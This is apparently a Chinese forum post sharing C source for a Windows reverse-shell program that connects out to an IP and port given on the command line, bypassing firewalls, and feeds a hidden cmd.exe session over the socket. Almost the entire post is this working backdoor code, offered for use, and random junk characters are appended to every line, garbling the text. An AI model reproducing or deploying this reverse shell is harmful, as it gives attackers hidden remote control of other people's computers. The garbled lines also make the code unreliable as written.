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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I Ij:3HP  
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/* ============================== 9-_Lc<  
Rebound port in Windows NT }dMX1e1h8  
By wind,2006/7 $`\qY ^.(  
===============================*/ -!5l4  
#include kxEq_FX  
#include [hot,\+f  
N\.g+ W  
#pragma comment(lib,"wsock32.lib") ? -3G5yy  
*5s*-^'#!  
void OutputShell(); f9Xa}*  
SOCKET sClient; 6+ptL-Zt<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1~E4]Ef:W  
 %rlqq*  
void main(int argc,char **argv) Uj 4HVd  
{ '?.']U,: $  
WSADATA stWsaData; $39TP@?:Z)  
int nRet; rc>}3?o  
SOCKADDR_IN stSaiClient,stSaiServer; Z<AZO ^  
d { P$}b  
if(argc != 3) NW;_4g4qE  
{ 6nsb)7a  
printf("Useage:\n\rRebound DestIP DestPort\n"); +T*? ?OW@  
return; jp~Tlomp  
} Z]2z*XD  
N`H`\+  
WSAStartup(MAKEWORD(2,2),&stWsaData); <Tbl |9  
M e:l)8+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !h}Vz  
aA>!p{/x  
stSaiClient.sin_family = AF_INET; 1lA? 5:  
stSaiClient.sin_port = htons(0); :wRfk*Ly  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sD?Ynpt  
v;?W|kJ.u  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $ Fc}K+  
{ >Q"3dw  
printf("Bind Socket Failed!\n"); wfu`(4  
return; "B"ql-K  
} KX!/n`2u  
+G!# /u1  
stSaiServer.sin_family = AF_INET; !J{[XT  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /?Y4C)G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w&es N$2  
k[<i+C";  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %M8Q6  
{ 6kR3[]:16v  
printf("Connect Error!"); Dh#5-Kf%  
return; V^n=@CZT9C  
} %)dp a  
OutputShell(); |7Z}#eP//  
} g~9rt_OV  
l$HBYA\Qh  
void OutputShell() /']`}*d  
{ C~.\2D`zy  
char szBuff[1024]; cR55,DR,#W  
SECURITY_ATTRIBUTES stSecurityAttributes; xi ,fm  
OSVERSIONINFO stOsversionInfo; 5BLBcw\;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?l @=}WN  
STARTUPINFO stStartupInfo; f` -vnh^+  
char *szShell; e iH&<AH  
PROCESS_INFORMATION stProcessInformation; l`X?C~JhJ  
unsigned long lBytesRead; I'n}6D.M  
U_Mag(^-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -<T> paE9  
E"/k"1@  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZtGk Md$  
stSecurityAttributes.lpSecurityDescriptor = 0; 9 MQwc  
stSecurityAttributes.bInheritHandle = TRUE; |KPNl\%ID  
YReI|{O$c  
?TW?2+  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uz3 ?c6b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QGErQ +l  
|vG?H#y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r@'~cF]m  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0f3>s>`M  
stStartupInfo.wShowWindow = SW_HIDE; w9gfva$&  
stStartupInfo.hStdInput = hReadPipe; H#nJWe_9A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &!'R'{/?X  
+zo\#8*0MF  
GetVersionEx(&stOsversionInfo); O_ $zK  
[z;}^3b  
switch(stOsversionInfo.dwPlatformId) j#p3<V S4  
{ 23bTCp.d  
case 1: DI-CC[  
szShell = "command.com"; 4QiV@#o:  
break; ,CqGO %DY  
default: pf yJL?_%  
szShell = "cmd.exe"; 81I9xqvSd~  
break; Ib/e\+H\  
} *'{9(Oj  
EQHCw<e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G-vkkNj%e  
+^rt48${ y  
send(sClient,szMsg,77,0); _a`/{M|  
while(1) <{Rz1CMc  
{ {[{jl G4H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pVjOp~=U  
if(lBytesRead) pd.pY*B<[  
{ tgeXX1Eq!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t""Y -M  
send(sClient,szBuff,lBytesRead,0); Nh4&3"g|  
} 2G:KaQ)  
else FiXE0ZI$0q  
{ 'auYmX  
lBytesRead=recv(sClient,szBuff,1024,0); Yfz`or\@=  
if(lBytesRead<=0) break; ^8?px&B y:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (ze9-!%  
} K)n058PO  
} Ogh,  
'8@4FXK  
return; ^O"o-3dte  
}
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